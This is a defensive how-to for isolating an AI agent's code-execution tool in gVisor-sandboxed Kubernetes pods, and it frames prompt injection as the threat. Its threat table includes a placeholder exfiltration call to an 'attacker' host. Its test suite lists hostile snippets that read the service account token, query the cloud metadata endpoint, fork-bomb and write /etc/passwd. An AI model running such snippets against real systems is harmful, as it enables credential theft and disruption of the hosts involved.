The goal
Your agent has a "run Python" tool for data analysis, log parsing or quick calculations. Whatever that tool runs was written by a model that reads untrusted input: tickets, emails, retrieved documents. Treat every snippet as hostile code. If a prompt injection gets through, the sandbox is the only thing between the model and your cluster.
This how-to builds an execution path where each snippet:
- runs in a fresh pod under gVisor, a user-space kernel, so container escapes need a gVisor bug on top of a kernel bug
- has no network, no service account token and no secrets
- has CPU, memory, PID, disk and wall-clock limits
- is deleted after it finishes, whatever the result
Threats and the control for each
| Threat | Example from a model | Control |
|---|---|---|
| Container escape | Kernel exploit through a syscall | gVisor runsc runtime, seccomp, non-root, no capabilities |
| Data exfiltration | requests.post("https://attacker", data=...) | Default-deny egress NetworkPolicy, no DNS |
| Credential theft | Reads /var/run/secrets/... or cloud metadata | automountServiceAccountToken: false, egress denied to metadata IPs |
| Resource exhaustion | while True: x.append(...), fork bomb | Memory limit, PID limit, activeDeadlineSeconds |
| Persistence | Writes a file the next run picks up | One pod per run, read-only root, emptyDir scratch |
| Lateral movement | Scans the pod CIDR | Separate namespace and node pool, deny-all NetworkPolicy |
Step 1: a gVisor node pool and RuntimeClass
On GKE, create a node pool with GKE Sandbox enabled. It installs gVisor and a gvisor RuntimeClass for you:
gcloud container node-pools create sandbox \
--cluster prod-agents --sandbox type=gvisor \
--machine-type e2-standard-4 --num-nodes 2 \
--node-taints sandbox=true:NoSchedule
On self-managed nodes, install runsc and containerd-shim-runsc-v1 following the gVisor docs, register a runsc runtime in the containerd CRI plugin config, then create the RuntimeClass. The handler must match the containerd runtime name:
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
name: gvisor
handler: runsc
scheduling:
nodeSelector:
sandbox.gke.io/runtime: gvisor # use your own label on self-managed nodes
tolerations:
- key: sandbox
operator: Equal
value: "true"
effect: NoSchedule
Warning
The containerd config key for runtimes differs between containerd 1.x and 2.x. Render the merged config with
containerd config dumpand check it before you restart containerd on a node that is running workloads. A broken config stops every pod on that node.
Check that the sandbox is really in use. Inside gVisor, dmesg shows gVisor's own boot messages instead of the host kernel log. Run the probe in a test namespace, because the restricted policy in step 2 would reject this bare pod:
kubectl create namespace sandbox-test
kubectl -n sandbox-test run probe --rm -it --restart=Never \
--image=busybox:1.36 --overrides='{"spec":{"runtimeClassName":"gvisor"}}' -- dmesg | head -3
Step 2: lock down the namespace
kubectl create namespace code-sandbox
kubectl label namespace code-sandbox \
pod-security.kubernetes.io/enforce=restricted
Deny all ingress and egress. With no egress rule, DNS is blocked too, which is what you want:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-all
namespace: code-sandbox
spec:
podSelector: {}
policyTypes: [Ingress, Egress]
Add a ResourceQuota so a runaway agent loop can't fill the pool with pods:
apiVersion: v1
kind: ResourceQuota
metadata:
name: sandbox-quota
namespace: code-sandbox
spec:
hard:
pods: "40"
limits.cpu: "40"
limits.memory: 40Gi
Caution
NetworkPolicy only works if your CNI enforces it. Test from inside a sandbox pod:
python -c "import socket; socket.create_connection(('1.1.1.1', 443), 3)"must fail, and so must a connection to169.254.169.254. If either succeeds, stop and fix the CNI before you let an agent use this.
Step 3: the pod template
apiVersion: v1
kind: Pod
metadata:
generateName: run-
namespace: code-sandbox
labels: {app: code-sandbox}
spec:
runtimeClassName: gvisor
automountServiceAccountToken: false
enableServiceLinks: false
restartPolicy: Never
activeDeadlineSeconds: 30
hostNetwork: false
securityContext:
runAsNonRoot: true
runAsUser: 65534
seccompProfile: {type: RuntimeDefault}
containers:
- name: run
image: registry.internal/sandbox-python:3.12@sha256:<digest>
command: ["python", "-I", "/code/main.py"]
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: {drop: ["ALL"]}
resources:
requests: {cpu: 250m, memory: 256Mi, ephemeral-storage: 100Mi}
limits: {cpu: "1", memory: 512Mi, ephemeral-storage: 200Mi}
volumeMounts:
- {name: code, mountPath: /code, readOnly: true}
- {name: scratch, mountPath: /tmp}
volumes:
- name: code
configMap: {name: CODE_CONFIGMAP}
- name: scratch
emptyDir: {sizeLimit: 100Mi}
Notes on the choices:
- The image is pinned by digest and contains only the libraries you allow (pandas, numpy). Nothing is installed at run time, and with no network
pip installfails anyway. python -IignoresPYTHON*environment variables and the user site directory.- PID limits are set per node in the kubelet (
podPidsLimit) rather than per pod. Set it on the sandbox node pool, for example to 256, so a fork bomb hits that limit before it hurts the node.
Step 4: the tool implementation
The agent's tool creates a ConfigMap and a pod, waits for them with a deadline, reads the logs and deletes both:
import copy, time, uuid
from kubernetes import client, config
config.load_incluster_config()
core = client.CoreV1Api()
NS, MAX_OUT = "code-sandbox", 20_000
def run_code(source: str, pod_template: dict, deadline_s: int = 35) -> dict:
if len(source) > 50_000:
return {"status": "rejected", "reason": "code too large"}
run_id = uuid.uuid4().hex[:10]
cm_name = f"code-{run_id}"
core.create_namespaced_config_map(NS, client.V1ConfigMap(
metadata=client.V1ObjectMeta(name=cm_name, labels={"app": "code-sandbox"}),
data={"main.py": source}))
pod = copy.deepcopy(pod_template) # never mutate the shared template
pod["metadata"] = {"name": f"run-{run_id}", "labels": {"app": "code-sandbox"}}
pod["spec"]["volumes"][0]["configMap"]["name"] = cm_name
try:
core.create_namespaced_pod(NS, pod)
start, phase = time.time(), "Pending"
while time.time() - start < deadline_s:
phase = core.read_namespaced_pod(f"run-{run_id}", NS).status.phase
if phase in ("Succeeded", "Failed"):
break
time.sleep(0.5)
logs = ""
try:
logs = core.read_namespaced_pod_log(f"run-{run_id}", NS, limit_bytes=MAX_OUT)
except client.ApiException:
pass
return {"status": phase, "output": logs[:MAX_OUT], "run_id": run_id}
finally:
core.delete_namespaced_pod(f"run-{run_id}", NS, grace_period_seconds=0)
core.delete_namespaced_config_map(cm_name, NS)
The service account that runs this tool needs only create, get, delete on pods and configmaps, and get on pods/log, in code-sandbox. Bind it with a namespaced Role, never a ClusterRole.
Tip
Return a short, structured result to the model: status, truncated output, and "timed out" or "OOMKilled" when that happened. Read
status.containerStatuses[0].state.terminated.reasonto tell the model it hit the memory limit, so it can fix the code instead of blindly retrying.
Clean up anything the finally block missed (tool process crash, API errors):
kubectl -n code-sandbox delete pods -l app=code-sandbox --field-selector=status.phase==Succeeded
kubectl -n code-sandbox delete pods -l app=code-sandbox --field-selector=status.phase==Failed
Run those as a CronJob every few minutes. Field selectors on status.phase only work for pods. For ConfigMaps, have the same job delete any code-* ConfigMap whose run-* pod no longer exists and that is older than a few minutes.
Step 5: test it with hostile snippets
Before an agent uses the sandbox, run these and confirm each one fails safely:
| Snippet | Expected |
|---|---|
import urllib.request; urllib.request.urlopen("http://169.254.169.254") | Connection error |
open("/var/run/secrets/kubernetes.io/serviceaccount/token").read() | FileNotFoundError |
x = bytearray(2 * 1024**3) | Container OOMKilled |
import os; [os.fork() for _ in range(10000)] | Fork fails (BlockingIOError) or the pod is killed. The node stays healthy |
import time; time.sleep(120) | Pod ends at activeDeadlineSeconds |
open("/etc/passwd", "w") | Read-only file system error |
Put these into CI for the sandbox image and node pool config, so a change to the template can't quietly re-open a hole.
Trade-offs
- Latency: pod creation plus gVisor startup takes a second or more. If that's too slow, keep a small warm pool of pre-created pods, but use each pod for one run only and delete it afterwards.
- Syscall overhead: gVisor slows down I/O-heavy and syscall-heavy code. For pandas over a few MB of data, the difference is usually small next to the LLM call.
- Stronger isolation: for multi-tenant platforms where tenants are hostile to each other, look at microVM sandboxes (Kata Containers, Firecracker-based services) and a dedicated cluster.
Prevent it next time
- Treat the sandbox config as a security boundary: changes need review, and the hostile-snippet suite must pass.
- Log every run: run ID, agent session, a hash of the code, status and duration. That gives you something to investigate if an injection gets through.
- Alert on unusual patterns: a spike in runs per session, many OOMKilled or timed-out runs, or snippets that try to open network connections.